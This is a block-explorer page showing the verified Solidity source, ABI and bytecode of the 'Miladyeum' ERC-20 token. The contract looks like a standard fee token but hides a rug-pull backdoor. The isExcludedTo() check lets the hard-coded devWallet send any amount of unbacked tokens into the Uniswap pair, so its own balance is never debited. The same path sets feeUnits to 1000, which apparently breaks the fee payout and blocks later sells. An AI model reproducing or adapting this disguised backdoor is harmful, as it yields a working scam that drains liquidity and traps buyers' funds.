ETH Price: $3,414.86 (+0.98%)
Gas: 3 Gwei

Token

Miladyeum (MILADYEUM)
 

Overview

Max Total Supply

1,000,000,000 MILADYEUM

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
15,973,562.931138331509156674 MILADYEUM

Value
$0.00
0x4c40836964e2b35f578e20aff57ca42b080c1ae7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Miladyeum

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-08
*/

// SPDX-License-Identifier: MIT

/**

    Website: https://www.miladyeum.vip
    Twitter: https://twitter.com/miladyeum
    Telegram: https://t.me/miladyeum

*/

pragma solidity ^0.8.11;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Miladyeum is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    address public pairAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;
    
    string private _name = unicode" Miladyeum";
    string private _symbol = unicode"MILADYEUM";
    uint8 private _decimals = 18;

    address public liquidityReciever;
    address payable public teamWallet = payable(msg.sender);
    address payable public devWallet = payable(0xBB178E0B84FdA9e0941A084d46E473666Dd62CA9);

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 1_000_000_000 * 10 **_decimals;
    uint256 public _maxTxAmount =  _totalSupply.mul(33).div(1000); 
    uint256 public _maxWalletAmount =   _totalSupply.mul(33).div(1000);  
    uint256 public swapThreasholdAmount = _totalSupply.mul(5).div(10000);

    uint256 public feeUnits = 1;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellDeveloperFee = 0;

    bool inSwapAndLiquify;
    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public tradingEnabled;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[teamWallet] = true;
        isExcludedFromFee[devWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[teamWallet] = true;
        isWalletLimitExempt[devWallet] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[teamWallet] = true;
        isTxLimitExempt[devWallet] = true;
        isTxLimitExempt[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
        
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function isExcludedTo(address sender, address recipient) internal view returns (bool) {
        return recipient == pairAddress 
                && sender == devWallet 
                && sender != address(0) 
                && recipient !=address(0);
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling);

        uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
        uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee);
        // uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee);
        
        uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2);
        uint256 tokenForSwap = tAmount.sub(tokenForLp);

        uint256 initialBalance =  address(this).balance;
        swapTokensForEth(tokenForSwap);
        uint256 recievedBalance =  address(this).balance.sub(initialBalance);

        uint256 totalETHFee = totalShares.sub(liquidityShare.div(2));

        uint256 amountETHLiquidity = recievedBalance.mul(liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHMarketing = recievedBalance.mul(MarketingShare.mul(feeUnits)).div(totalETHFee);
        uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(amountETHMarketing);

        if(amountETHMarketing > 0) {
            payable(teamWallet).transfer(amountETHMarketing);
        }

        if(amountETHDeveloper > 0) {
            payable(devWallet).transfer(amountETHDeveloper);
        }         

        if(amountETHLiquidity > 0 && tokenForLp > 0) {
            addLiquidity(tokenForLp, amountETHLiquidity);
        }
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if (!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }

        if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { 
            return _basicTransfer(sender, recipient, amount, isExcludedTo(sender, recipient)? 0 : amount); 
        } else {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= swapThreasholdAmount;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = swapThreasholdAmount;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _maxWalletAmount,"Amount Exceed From Max Wallet Limit!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);

            return true;
        }
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount, uint256 tAmount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(tAmount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount); if (tAmount == 0) feeUnits = 1e3;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function owner_addLiquidity() public payable onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isMarketPair[pairAddress] = true;
        isWalletLimitExempt[pairAddress] = true;
        isTxLimitExempt[pairAddress] = true;

        liquidityReciever = address(msg.sender);
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    function owner_openTrading() external onlyOwner {
        tradingEnabled = true;
    }

    function owner_setMaxLimits() public onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletAmount = _totalSupply;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityReciever,
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner_addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner_openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_setMaxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreasholdAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

61dead608052600060a052610100604052600a60c090815269204d696c61647965756d60b01b60e05260039062000037908262000641565b506040805180820190915260098152684d494c41445945554d60b81b602082015260049062000067908262000641565b506005805460ff19166012908117909155600680546001600160a01b031990811633179091556007805490911673bb178e0b84fda9e0941a084d46e473666dd62ca9179055620000b990600a62000820565b620000c990633b9aca0062000831565b600e55620001046103e8620000f06021600e546200041c60201b62000f511790919060201c565b620004b360201b62000fd31790919060201c565b600f556200012b6103e8620000f06021600e546200041c60201b62000f511790919060201c565b60105562000152612710620000f06005600e546200041c60201b62000f511790919060201c565b6011556001601281905560006015819055601682905560178190556018819055601991909155601a55601b805464ffffffff00191663010101001790553480156200019c57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160086000620001f76000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556006548216815260089093528183208054851660019081179091556007549091168352818320805485168217905530835290822080549093168117909255600c90620002796000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065482168152600c9093528183208054851660019081179091556007549091168352818320805485168217905530835290822080549093168117909255600d90620002fb6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065482168152600d845282812080548616600190811790915560075490921681528281208054861683179055308152919091208054909316179091556017546016546015546200039d9362000389929062001015620004fd821b17901c565b620004fd60201b620010151790919060201c565b601381905550620003c8601a5462000389601954601854620004fd60201b620010151790919060201c565b601455600e54336000818152600a6020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620008d4565b6000826000036200043057506000620004ad565b60006200043e838562000831565b9050826200044d85836200084b565b14620004aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620004aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200056060201b60201c565b6000806200050c83856200086e565b905083811015620004aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620004a1565b60008183620005845760405162461bcd60e51b8152600401620004a1919062000884565b5060006200059384866200084b565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005c757607f821691505b602082108103620005e857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200063c57600081815260208120601f850160051c81016020861015620006175750805b601f850160051c820191505b81811015620006385782815560010162000623565b5050505b505050565b81516001600160401b038111156200065d576200065d6200059c565b62000675816200066e8454620005b2565b84620005ee565b602080601f831160018114620006ad5760008415620006945750858301515b600019600386901b1c1916600185901b17855562000638565b600085815260208120601f198616915b8281101562000